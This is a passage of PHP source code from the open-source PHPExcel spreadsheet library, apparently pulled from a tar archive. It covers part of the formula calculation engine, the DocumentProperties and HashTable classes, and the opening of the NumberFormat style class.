$this->showValue($cellID); } } else { $args[] = $arg['reference']; if ($functionName != 'MKMATRIX') { $argArrayVals[] = $this->showValue($arg['reference']); } } } else { $args[] = self::unwrapResult($arg['value']); if ($functionName != 'MKMATRIX') { $argArrayVals[] = $this->showValue($arg['value']); } } } // Reverse the order of the arguments krsort($args); if (($passByReference) && ($argCount == 0)) { $args[] = $cellID; $argArrayVals[] = $this->showValue($cellID); } // echo 'Arguments are: '; // print_r($args); // echo '<br />'; if ($functionName != 'MKMATRIX') { if ($this->_debugLog->getWriteDebugLog()) { krsort($argArrayVals); $this->_debugLog->writeDebugLog('Evaluating ', self::localeFunc($functionName), '( ', implode(self::$localeArgumentSeparator.' ', PHPExcel_Calculation_Functions::flattenArray($argArrayVals)), ' )'); } } // Process each argument in turn, building the return value as an array // if (($argCount == 1) && (is_array($args[1])) && ($functionName != 'MKMATRIX')) { // $operand1 = $args[1]; // $this->_debugLog->writeDebugLog('Argument is a matrix: ', $this->showValue($operand1)); // $result = array(); // $row = 0; // foreach($operand1 as $args) { // if (is_array($args)) { // foreach($args as $arg) { // $this->_debugLog->writeDebugLog('Evaluating ', self::localeFunc($functionName), '( ', $this->showValue($arg), ' )'); // $r = call_user_func_array($functionCall, $arg); // $this->_debugLog->writeDebugLog('Evaluation Result for ', self::localeFunc($functionName), '() function call is ', $this->showTypeDetails($r)); // $result[$row][] = $r; // } // ++$row; // } else { // $this->_debugLog->writeDebugLog('Evaluating ', self::localeFunc($functionName), '( ', $this->showValue($args), ' )'); // $r = call_user_func_array($functionCall, $args); // $this->_debugLog->writeDebugLog('Evaluation Result for ', self::localeFunc($functionName), '() function call is ', $this->showTypeDetails($r)); // $result[] = $r; // } // } // } else { // Process the argument with the appropriate function call if ($passCellReference) { $args[] = $pCell; } if (strpos($functionCall, '::') !== false) { $result = call_user_func_array(explode('::', $functionCall), $args); } else { foreach ($args as &$arg) { $arg = PHPExcel_Calculation_Functions::flattenSingleValue($arg); } unset($arg); $result = call_user_func_array($functionCall, $args); } if ($functionName != 'MKMATRIX') { $this->_debugLog->writeDebugLog('Evaluation Result for ', self::localeFunc($functionName), '() function call is ', $this->showTypeDetails($result)); } $stack->push('Value', self::wrapResult($result)); } } else { // if the token is a number, boolean, string or an Excel error, push it onto the stack if (isset(self::$excelConstants[strtoupper($token)])) { $excelConstant = strtoupper($token); // echo 'Token is a PHPExcel constant: '.$excelConstant.'<br />'; $stack->push('Constant Value', self::$excelConstants[$excelConstant]); $this->_debugLog->writeDebugLog('Evaluating Constant ', $excelConstant, ' as ', $this->showTypeDetails(self::$excelConstants[$excelConstant])); } elseif ((is_numeric($token)) || ($token === null) || (is_bool($token)) || ($token == '') || ($token{0} == '"') || ($token{0} == '#')) { // echo 'Token is a number, boolean, string, null or an Excel error<br />'; $stack->push('Value', $token); // if the token is a named range, push the named range name onto the stack } elseif (preg_match('/^'.self::CALCULATION_REGEXP_NAMEDRANGE.'$/i', $token, $matches)) { // echo 'Token is a named range<br />'; $namedRange = $matches[6]; // echo 'Named Range is '.$namedRange.'<br />'; $this->_debugLog->writeDebugLog('Evaluating Named Range ', $namedRange); $cellValue = $this->extractNamedRange($namedRange, ((null !== $pCell) ? $pCellWorksheet : null), false); $pCell->attach($pCellParent); $this->_debugLog->writeDebugLog('Evaluation Result for named range ', $namedRange, ' is ', $this->showTypeDetails($cellValue)); $stack->push('Named Range', $cellValue, $namedRange); } else { return $this->raiseFormulaError("undefined variable '$token'"); } } } // when we're out of tokens, the stack should have a single element, the final result if ($stack->count() != 1) { return $this->raiseFormulaError("internal error"); } $output = $stack->pop(); $output = $output['value']; // if ((is_array($output)) && (self::$returnArrayAsType != self::RETURN_ARRAY_AS_ARRAY)) { // return array_shift(PHPExcel_Calculation_Functions::flattenArray($output)); // } return $output; } private function validateBinaryOperand($cellID, &$operand, &$stack) { if (is_array($operand)) { if ((count($operand, COUNT_RECURSIVE) - count($operand)) == 1) { do { $operand = array_pop($operand); } while (is_array($operand)); } } // Numbers, matrices and booleans can pass straight through, as they're already valid if (is_string($operand)) { // We only need special validations for the operand if it is a string // Start by stripping off the quotation marks we use to identify true excel string values internally if ($operand > '' && $operand{0} == '"') { $operand = self::unwrapResult($operand); } // If the string is a numeric value, we treat it as a numeric, so no further testing if (!is_numeric($operand)) { // If not a numeric, test to see if the value is an Excel error, and so can't be used in normal binary operations if ($operand > '' && $operand{0} == '#') { $stack->push('Value', $operand); $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails($operand)); return false; } elseif (!PHPExcel_Shared_String::convertToNumberIfFraction($operand)) { // If not a numeric or a fraction, then it's a text string, and so can't be used in mathematical binary operations $stack->push('Value', '#VALUE!'); $this->_debugLog->writeDebugLog('Evaluation Result is a ', $this->showTypeDetails('#VALUE!')); return false; } } } // return a true if the value of the operand is one that we can use in normal binary operations return true; } private function executeBinaryComparisonOperation($cellID, $operand1, $operand2, $operation, &$stack, $recursingArrays = false) { // If we're dealing with matrix operations, we want a matrix result if ((is_array($operand1)) || (is_array($operand2))) { $result = array(); if ((is_array($operand1)) && (!is_array($operand2))) { foreach ($operand1 as $x => $operandData) { $this->_debugLog->writeDebugLog('Evaluating Comparison ', $this->showValue($operandData), ' ', $operation, ' ', $this->showValue($operand2)); $this->executeBinaryComparisonOperation($cellID, $operandData, $operand2, $operation, $stack); $r = $stack->pop(); $result[$x] = $r['value']; } } elseif ((!is_array($operand1)) && (is_array($operand2))) { foreach ($operand2 as $x => $operandData) { $this->_debugLog->writeDebugLog('Evaluating Comparison ', $this->showValue($operand1), ' ', $operation, ' ', $this->showValue($operandData)); $this->executeBinaryComparisonOperation($cellID, $operand1, $operandData, $operation, $stack); $r = $stack->pop(); $result[$x] = $r['value']; } } else { if (!$recursingArrays) { self::checkMatrixOperands($operand1, $operand2, 2); } foreach ($operand1 as $x => $operandData) { $this->_debugLog->writeDebugLog('Evaluating Comparison ', $this->showValue($operandData), ' ', $operation, ' ', $this->showValue($operand2[$x])); $this->executeBinaryComparisonOperation($cellID, $operandData, $operand2[$x], $operation, $stack, true); $r = $stack->pop(); $result[$x] = $r['value']; } } // Log the result details $this->_debugLog->writeDebugLog('Comparison Evaluation Result is ', $this->showTypeDetails($result)); // And push the result onto the stack $stack->push('Array', $result); return true; } // Simple validate the two operands if they are string values if (is_string($operand1) && $operand1 > '' && $operand1{0} == '"') { $operand1 = self::unwrapResult($operand1); } if (is_string($operand2) && $operand2 > '' && $operand2{0} == '"') { $operand2 = self::unwrapResult($operand2); } // Use case insensitive comparaison if not OpenOffice mode if (PHPExcel_Calculation_Functions::getCompatibilityMode() != PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { if (is_string($operand1)) { $operand1 = strtoupper($operand1); } if (is_string($operand2)) { $operand2 = strtoupper($operand2); } } $useLowercaseFirstComparison = is_string($operand1) && is_string($operand2) && PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE; // execute the necessary operation switch ($operation) { // Greater than case '>': if ($useLowercaseFirstComparison) { $result = $this->strcmpLowercaseFirst($operand1, $operand2) > 0; } else { $result = ($operand1 > $operand2); } break; // Less than case '<': if ($useLowercaseFirstComparison) { $result = $this->strcmpLowercaseFirst($operand1, $operand2) < 0; } else { $result = ($operand1 < $operand2); } break; // Equality case '=': if (is_numeric($operand1) && is_numeric($operand2)) { $result = (abs($operand1 - $operand2) < $this->delta); } else { $result = strcmp($operand1, $operand2) == 0; } break; // Greater than or equal case '>=': if (is_numeric($operand1) && is_numeric($operand2)) { $result = ((abs($operand1 - $operand2) < $this->delta) || ($operand1 > $operand2)); } elseif ($useLowercaseFirstComparison) { $result = $this->strcmpLowercaseFirst($operand1, $operand2) >= 0; } else { $result = strcmp($operand1, $operand2) >= 0; } break; // Less than or equal case '<=': if (is_numeric($operand1) && is_numeric($operand2)) { $result = ((abs($operand1 - $operand2) < $this->delta) || ($operand1 < $operand2)); } elseif ($useLowercaseFirstComparison) { $result = $this->strcmpLowercaseFirst($operand1, $operand2) <= 0; } else { $result = strcmp($operand1, $operand2) <= 0; } break; // Inequality case '<>': if (is_numeric($operand1) && is_numeric($operand2)) { $result = (abs($operand1 - $operand2) > 1E-14); } else { $result = strcmp($operand1, $operand2) != 0; } break; } // Log the result details $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails($result)); // And push the result onto the stack $stack->push('Value', $result); return true; } /** * Compare two strings in the same way as strcmp() except that lowercase come before uppercase letters * @param string $str1 First string value for the comparison * @param string $str2 Second string value for the comparison * @return integer */ private function strcmpLowercaseFirst($str1, $str2) { $inversedStr1 = PHPExcel_Shared_String::StrCaseReverse($str1); $inversedStr2 = PHPExcel_Shared_String::StrCaseReverse($str2); return strcmp($inversedStr1, $inversedStr2); } private function executeNumericBinaryOperation($cellID, $operand1, $operand2, $operation, $matrixFunction, &$stack) { // Validate the two operands if (!$this->validateBinaryOperand($cellID, $operand1, $stack)) { return false; } if (!$this->validateBinaryOperand($cellID, $operand2, $stack)) { return false; } // If either of the operands is a matrix, we need to treat them both as matrices // (converting the other operand to a matrix if need be); then perform the required // matrix operation if ((is_array($operand1)) || (is_array($operand2))) { // Ensure that both operands are arrays/matrices of the same size self::checkMatrixOperands($operand1, $operand2, 2); try { // Convert operand 1 from a PHP array to a matrix $matrix = new PHPExcel_Shared_JAMA_Matrix($operand1); // Perform the required operation against the operand 1 matrix, passing in operand 2 $matrixResult = $matrix->$matrixFunction($operand2); $result = $matrixResult->getArray(); } catch (PHPExcel_Exception $ex) { $this->_debugLog->writeDebugLog('JAMA Matrix Exception: ', $ex->getMessage()); $result = '#VALUE!'; } } else { if ((PHPExcel_Calculation_Functions::getCompatibilityMode() != PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) && ((is_string($operand1) && !is_numeric($operand1) && strlen($operand1)>0) || (is_string($operand2) && !is_numeric($operand2) && strlen($operand2)>0))) { $result = PHPExcel_Calculation_Functions::VALUE(); } else { // If we're dealing with non-matrix operations, execute the necessary operation switch ($operation) { // Addition case '+': $result = $operand1 + $operand2; break; // Subtraction case '-': $result = $operand1 - $operand2; break; // Multiplication case '*': $result = $operand1 * $operand2; break; // Division case '/': if ($operand2 == 0) { // Trap for Divide by Zero error $stack->push('Value', '#DIV/0!'); $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails('#DIV/0!')); return false; } else { $result = $operand1 / $operand2; } break; // Power case '^': $result = pow($operand1, $operand2); break; } } } // Log the result details $this->_debugLog->writeDebugLog('Evaluation Result is ', $this->showTypeDetails($result)); // And push the result onto the stack $stack->push('Value', $result); return true; } // trigger an error, but nicely, if need be protected function raiseFormulaError($errorMessage) { $this->formulaError = $errorMessage; $this->cyclicReferenceStack->clear(); if (!$this->suppressFormulaErrors) { throw new PHPExcel_Calculation_Exception($errorMessage); } trigger_error($errorMessage, E_USER_ERROR); } /** * Extract range values * * @param string &$pRange String based range representation * @param PHPExcel_Worksheet $pSheet Worksheet * @param boolean $resetLog Flag indicating whether calculation log should be reset or not * @return mixed Array of values in range if range contains more than one element. Otherwise, a single value is returned. * @throws PHPExcel_Calculation_Exception */ public function extractCellRange(&$pRange = 'A1', PHPExcel_Worksheet $pSheet = null, $resetLog = true) { // Return value $returnValue = array (); // echo 'extractCellRange('.$pRange.')', PHP_EOL; if ($pSheet !== null) { $pSheetName = $pSheet->getTitle(); // echo 'Passed sheet name is '.$pSheetName.PHP_EOL; // echo 'Range reference is '.$pRange.PHP_EOL; if (strpos($pRange, '!') !== false) { // echo '$pRange reference includes sheet reference', PHP_EOL; list($pSheetName, $pRange) = PHPExcel_Worksheet::extractSheetTitle($pRange, true); // echo 'New sheet name is '.$pSheetName, PHP_EOL; // echo 'Adjusted Range reference is '.$pRange, PHP_EOL; $pSheet = $this->workbook->getSheetByName($pSheetName); } // Extract range $aReferences = PHPExcel_Cell::extractAllCellReferencesInRange($pRange); $pRange = $pSheetName.'!'.$pRange; if (!isset($aReferences[1])) { // Single cell in range sscanf($aReferences[0], '%[A-Z]%d', $currentCol, $currentRow); $cellValue = null; if ($pSheet->cellExists($aReferences[0])) { $returnValue[$currentRow][$currentCol] = $pSheet->getCell($aReferences[0])->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } else { // Extract cell data for all cells in the range foreach ($aReferences as $reference) { // Extract range sscanf($reference, '%[A-Z]%d', $currentCol, $currentRow); $cellValue = null; if ($pSheet->cellExists($reference)) { $returnValue[$currentRow][$currentCol] = $pSheet->getCell($reference)->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } } } return $returnValue; } /** * Extract range values * * @param string &$pRange String based range representation * @param PHPExcel_Worksheet $pSheet Worksheet * @return mixed Array of values in range if range contains more than one element. Otherwise, a single value is returned. * @param boolean $resetLog Flag indicating whether calculation log should be reset or not * @throws PHPExcel_Calculation_Exception */ public function extractNamedRange(&$pRange = 'A1', PHPExcel_Worksheet $pSheet = null, $resetLog = true) { // Return value $returnValue = array (); // echo 'extractNamedRange('.$pRange.')<br />'; if ($pSheet !== null) { $pSheetName = $pSheet->getTitle(); // echo 'Current sheet name is '.$pSheetName.'<br />'; // echo 'Range reference is '.$pRange.'<br />'; if (strpos($pRange, '!') !== false) { // echo '$pRange reference includes sheet reference', PHP_EOL; list($pSheetName, $pRange) = PHPExcel_Worksheet::extractSheetTitle($pRange, true); // echo 'New sheet name is '.$pSheetName, PHP_EOL; // echo 'Adjusted Range reference is '.$pRange, PHP_EOL; $pSheet = $this->workbook->getSheetByName($pSheetName); } // Named range? $namedRange = PHPExcel_NamedRange::resolveRange($pRange, $pSheet); if ($namedRange !== null) { $pSheet = $namedRange->getWorksheet(); // echo 'Named Range '.$pRange.' ('; $pRange = $namedRange->getRange(); $splitRange = PHPExcel_Cell::splitRange($pRange); // Convert row and column references if (ctype_alpha($splitRange[0][0])) { $pRange = $splitRange[0][0] . '1:' . $splitRange[0][1] . $namedRange->getWorksheet()->getHighestRow(); } elseif (ctype_digit($splitRange[0][0])) { $pRange = 'A' . $splitRange[0][0] . ':' . $namedRange->getWorksheet()->getHighestColumn() . $splitRange[0][1]; } // echo $pRange.') is in sheet '.$namedRange->getWorksheet()->getTitle().'<br />'; // if ($pSheet->getTitle() != $namedRange->getWorksheet()->getTitle()) { // if (!$namedRange->getLocalOnly()) { // $pSheet = $namedRange->getWorksheet(); // } else { // return $returnValue; // } // } } else { return PHPExcel_Calculation_Functions::REF(); } // Extract range $aReferences = PHPExcel_Cell::extractAllCellReferencesInRange($pRange); // var_dump($aReferences); if (!isset($aReferences[1])) { // Single cell (or single column or row) in range list($currentCol, $currentRow) = PHPExcel_Cell::coordinateFromString($aReferences[0]); $cellValue = null; if ($pSheet->cellExists($aReferences[0])) { $returnValue[$currentRow][$currentCol] = $pSheet->getCell($aReferences[0])->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } else { // Extract cell data for all cells in the range foreach ($aReferences as $reference) { // Extract range list($currentCol, $currentRow) = PHPExcel_Cell::coordinateFromString($reference); // echo 'NAMED RANGE: $currentCol='.$currentCol.' $currentRow='.$currentRow.'<br />'; $cellValue = null; if ($pSheet->cellExists($reference)) { $returnValue[$currentRow][$currentCol] = $pSheet->getCell($reference)->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } } // print_r($returnValue); // echo '<br />'; } return $returnValue; } /** * Is a specific function implemented? * * @param string $pFunction Function Name * @return boolean */ public function isImplemented($pFunction = '') { $pFunction = strtoupper($pFunction); if (isset(self::$PHPExcelFunctions[$pFunction])) { return (self::$PHPExcelFunctions[$pFunction]['functionCall'] != 'PHPExcel_Calculation_Functions::DUMMY'); } else { return false; } } /** * Get a list of all implemented functions as an array of function objects * * @return array of PHPExcel_Calculation_Function */ public function listFunctions() { $returnValue = array(); foreach (self::$PHPExcelFunctions as $functionName => $function) { if ($function['functionCall'] != 'PHPExcel_Calculation_Functions::DUMMY') { $returnValue[$functionName] = new PHPExcel_Calculation_Function( $function['category'], $functionName, $function['functionCall'] ); } } return $returnValue; } /** * Get a list of all Excel function names * * @return array */ public function listAllFunctionNames() { return array_keys(self::$PHPExcelFunctions); } /** * Get a list of implemented Excel function names * * @return array */ public function listFunctionNames() { $returnValue = array(); foreach (self::$PHPExcelFunctions as $functionName => $function) { if ($function['functionCall'] != 'PHPExcel_Calculation_Functions::DUMMY') { $returnValue[] = $functionName; } } return $returnValue; } } PHPExcel/DocumentProperties.php 0000644 00000036023 14642534111 0012525 0 ustar 00 <?php /** * PHPExcel_DocumentProperties * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_DocumentProperties { /** constants */ const PROPERTY_TYPE_BOOLEAN = 'b'; const PROPERTY_TYPE_INTEGER = 'i'; const PROPERTY_TYPE_FLOAT = 'f'; const PROPERTY_TYPE_DATE = 'd'; const PROPERTY_TYPE_STRING = 's'; const PROPERTY_TYPE_UNKNOWN = 'u'; /** * Creator * * @var string */ private $creator = 'Unknown Creator'; /** * LastModifiedBy * * @var string */ private $lastModifiedBy; /** * Created * * @var datetime */ private $created; /** * Modified * * @var datetime */ private $modified; /** * Title * * @var string */ private $title = 'Untitled Spreadsheet'; /** * Description * * @var string */ private $description = ''; /** * Subject * * @var string */ private $subject = ''; /** * Keywords * * @var string */ private $keywords = ''; /** * Category * * @var string */ private $category = ''; /** * Manager * * @var string */ private $manager = ''; /** * Company * * @var string */ private $company = 'Microsoft Corporation'; /** * Custom Properties * * @var string */ private $customProperties = array(); /** * Create a new PHPExcel_DocumentProperties */ public function __construct() { // Initialise values $this->lastModifiedBy = $this->creator; $this->created = time(); $this->modified = time(); } /** * Get Creator * * @return string */ public function getCreator() { return $this->creator; } /** * Set Creator * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setCreator($pValue = '') { $this->creator = $pValue; return $this; } /** * Get Last Modified By * * @return string */ public function getLastModifiedBy() { return $this->lastModifiedBy; } /** * Set Last Modified By * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setLastModifiedBy($pValue = '') { $this->lastModifiedBy = $pValue; return $this; } /** * Get Created * * @return datetime */ public function getCreated() { return $this->created; } /** * Set Created * * @param datetime $pValue * @return PHPExcel_DocumentProperties */ public function setCreated($pValue = null) { if ($pValue === null) { $pValue = time(); } elseif (is_string($pValue)) { if (is_numeric($pValue)) { $pValue = intval($pValue); } else { $pValue = strtotime($pValue); } } $this->created = $pValue; return $this; } /** * Get Modified * * @return datetime */ public function getModified() { return $this->modified; } /** * Set Modified * * @param datetime $pValue * @return PHPExcel_DocumentProperties */ public function setModified($pValue = null) { if ($pValue === null) { $pValue = time(); } elseif (is_string($pValue)) { if (is_numeric($pValue)) { $pValue = intval($pValue); } else { $pValue = strtotime($pValue); } } $this->modified = $pValue; return $this; } /** * Get Title * * @return string */ public function getTitle() { return $this->title; } /** * Set Title * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setTitle($pValue = '') { $this->title = $pValue; return $this; } /** * Get Description * * @return string */ public function getDescription() { return $this->description; } /** * Set Description * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setDescription($pValue = '') { $this->description = $pValue; return $this; } /** * Get Subject * * @return string */ public function getSubject() { return $this->subject; } /** * Set Subject * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setSubject($pValue = '') { $this->subject = $pValue; return $this; } /** * Get Keywords * * @return string */ public function getKeywords() { return $this->keywords; } /** * Set Keywords * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setKeywords($pValue = '') { $this->keywords = $pValue; return $this; } /** * Get Category * * @return string */ public function getCategory() { return $this->category; } /** * Set Category * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setCategory($pValue = '') { $this->category = $pValue; return $this; } /** * Get Company * * @return string */ public function getCompany() { return $this->company; } /** * Set Company * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setCompany($pValue = '') { $this->company = $pValue; return $this; } /** * Get Manager * * @return string */ public function getManager() { return $this->manager; } /** * Set Manager * * @param string $pValue * @return PHPExcel_DocumentProperties */ public function setManager($pValue = '') { $this->manager = $pValue; return $this; } /** * Get a List of Custom Property Names * * @return array of string */ public function getCustomProperties() { return array_keys($this->customProperties); } /** * Check if a Custom Property is defined * * @param string $propertyName * @return boolean */ public function isCustomPropertySet($propertyName) { return isset($this->customProperties[$propertyName]); } /** * Get a Custom Property Value * * @param string $propertyName * @return string */ public function getCustomPropertyValue($propertyName) { if (isset($this->customProperties[$propertyName])) { return $this->customProperties[$propertyName]['value']; } } /** * Get a Custom Property Type * * @param string $propertyName * @return string */ public function getCustomPropertyType($propertyName) { if (isset($this->customProperties[$propertyName])) { return $this->customProperties[$propertyName]['type']; } } /** * Set a Custom Property * * @param string $propertyName * @param mixed $propertyValue * @param string $propertyType * 'i' : Integer * 'f' : Floating Point * 's' : String * 'd' : Date/Time * 'b' : Boolean * @return PHPExcel_DocumentProperties */ public function setCustomProperty($propertyName, $propertyValue = '', $propertyType = null) { if (($propertyType === null) || (!in_array($propertyType, array(self::PROPERTY_TYPE_INTEGER, self::PROPERTY_TYPE_FLOAT, self::PROPERTY_TYPE_STRING, self::PROPERTY_TYPE_DATE, self::PROPERTY_TYPE_BOOLEAN)))) { if ($propertyValue === null) { $propertyType = self::PROPERTY_TYPE_STRING; } elseif (is_float($propertyValue)) { $propertyType = self::PROPERTY_TYPE_FLOAT; } elseif (is_int($propertyValue)) { $propertyType = self::PROPERTY_TYPE_INTEGER; } elseif (is_bool($propertyValue)) { $propertyType = self::PROPERTY_TYPE_BOOLEAN; } else { $propertyType = self::PROPERTY_TYPE_STRING; } } $this->customProperties[$propertyName] = array( 'value' => $propertyValue, 'type' => $propertyType ); return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } public static function convertProperty($propertyValue, $propertyType) { switch ($propertyType) { case 'empty': // Empty return ''; break; case 'null': // Null return null; break; case 'i1': // 1-Byte Signed Integer case 'i2': // 2-Byte Signed Integer case 'i4': // 4-Byte Signed Integer case 'i8': // 8-Byte Signed Integer case 'int': // Integer return (int) $propertyValue; break; case 'ui1': // 1-Byte Unsigned Integer case 'ui2': // 2-Byte Unsigned Integer case 'ui4': // 4-Byte Unsigned Integer case 'ui8': // 8-Byte Unsigned Integer case 'uint': // Unsigned Integer return abs((int) $propertyValue); break; case 'r4': // 4-Byte Real Number case 'r8': // 8-Byte Real Number case 'decimal': // Decimal return (float) $propertyValue; break; case 'lpstr': // LPSTR case 'lpwstr': // LPWSTR case 'bstr': // Basic String return $propertyValue; break; case 'date': // Date and Time case 'filetime': // File Time return strtotime($propertyValue); break; case 'bool': // Boolean return ($propertyValue == 'true') ? true : false; break; case 'cy': // Currency case 'error': // Error Status Code case 'vector': // Vector case 'array': // Array case 'blob': // Binary Blob case 'oblob': // Binary Blob Object case 'stream': // Binary Stream case 'ostream': // Binary Stream Object case 'storage': // Binary Storage case 'ostorage': // Binary Storage Object case 'vstream': // Binary Versioned Stream case 'clsid': // Class ID case 'cf': // Clipboard Data return $propertyValue; break; } return $propertyValue; } public static function convertPropertyType($propertyType) { switch ($propertyType) { case 'i1': // 1-Byte Signed Integer case 'i2': // 2-Byte Signed Integer case 'i4': // 4-Byte Signed Integer case 'i8': // 8-Byte Signed Integer case 'int': // Integer case 'ui1': // 1-Byte Unsigned Integer case 'ui2': // 2-Byte Unsigned Integer case 'ui4': // 4-Byte Unsigned Integer case 'ui8': // 8-Byte Unsigned Integer case 'uint': // Unsigned Integer return self::PROPERTY_TYPE_INTEGER; break; case 'r4': // 4-Byte Real Number case 'r8': // 8-Byte Real Number case 'decimal': // Decimal return self::PROPERTY_TYPE_FLOAT; break; case 'empty': // Empty case 'null': // Null case 'lpstr': // LPSTR case 'lpwstr': // LPWSTR case 'bstr': // Basic String return self::PROPERTY_TYPE_STRING; break; case 'date': // Date and Time case 'filetime': // File Time return self::PROPERTY_TYPE_DATE; break; case 'bool': // Boolean return self::PROPERTY_TYPE_BOOLEAN; break; case 'cy': // Currency case 'error': // Error Status Code case 'vector': // Vector case 'array': // Array case 'blob': // Binary Blob case 'oblob': // Binary Blob Object case 'stream': // Binary Stream case 'ostream': // Binary Stream Object case 'storage': // Binary Storage case 'ostorage': // Binary Storage Object case 'vstream': // Binary Versioned Stream case 'clsid': // Class ID case 'cf': // Clipboard Data return self::PROPERTY_TYPE_UNKNOWN; break; } return self::PROPERTY_TYPE_UNKNOWN; } } PHPExcel/HashTable.php 0000644 00000011662 14642534111 0010527 0 ustar 00 <?php /** * PHPExcel_HashTable * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_HashTable { /** * HashTable elements * * @var array */ protected $items = array(); /** * HashTable key map * * @var array */ protected $keyMap = array(); /** * Create a new PHPExcel_HashTable * * @param PHPExcel_IComparable[] $pSource Optional source array to create HashTable from * @throws PHPExcel_Exception */ public function __construct($pSource = null) { if ($pSource !== null) { // Create HashTable $this->addFromSource($pSource); } } /** * Add HashTable items from source * * @param PHPExcel_IComparable[] $pSource Source array to create HashTable from * @throws PHPExcel_Exception */ public function addFromSource($pSource = null) { // Check if an array was passed if ($pSource == null) { return; } elseif (!is_array($pSource)) { throw new PHPExcel_Exception('Invalid array parameter passed.'); } foreach ($pSource as $item) { $this->add($item); } } /** * Add HashTable item * * @param PHPExcel_IComparable $pSource Item to add * @throws PHPExcel_Exception */ public function add(PHPExcel_IComparable $pSource = null) { $hash = $pSource->getHashCode(); if (!isset($this->items[$hash])) { $this->items[$hash] = $pSource; $this->keyMap[count($this->items) - 1] = $hash; } } /** * Remove HashTable item * * @param PHPExcel_IComparable $pSource Item to remove * @throws PHPExcel_Exception */ public function remove(PHPExcel_IComparable $pSource = null) { $hash = $pSource->getHashCode(); if (isset($this->items[$hash])) { unset($this->items[$hash]); $deleteKey = -1; foreach ($this->keyMap as $key => $value) { if ($deleteKey >= 0) { $this->keyMap[$key - 1] = $value; } if ($value == $hash) { $deleteKey = $key; } } unset($this->keyMap[count($this->keyMap) - 1]); } } /** * Clear HashTable * */ public function clear() { $this->items = array(); $this->keyMap = array(); } /** * Count * * @return int */ public function count() { return count($this->items); } /** * Get index for hash code * * @param string $pHashCode * @return int Index */ public function getIndexForHashCode($pHashCode = '') { return array_search($pHashCode, $this->keyMap); } /** * Get by index * * @param int $pIndex * @return PHPExcel_IComparable * */ public function getByIndex($pIndex = 0) { if (isset($this->keyMap[$pIndex])) { return $this->getByHashCode($this->keyMap[$pIndex]); } return null; } /** * Get by hashcode * * @param string $pHashCode * @return PHPExcel_IComparable * */ public function getByHashCode($pHashCode = '') { if (isset($this->items[$pHashCode])) { return $this->items[$pHashCode]; } return null; } /** * HashTable to array * * @return PHPExcel_IComparable[] */ public function toArray() { return $this->items; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } } } } PHPExcel/Style/NumberFormat.php 0000644 00000067510 14642534111 0012400 0 ustar 00 <?php /** * PHPExcel_Style_NumberFormat * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_NumberFormat extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Pre-defined formats */ const FORMAT_GENERAL = 'General'; const FORMAT_TEXT = '@'; const 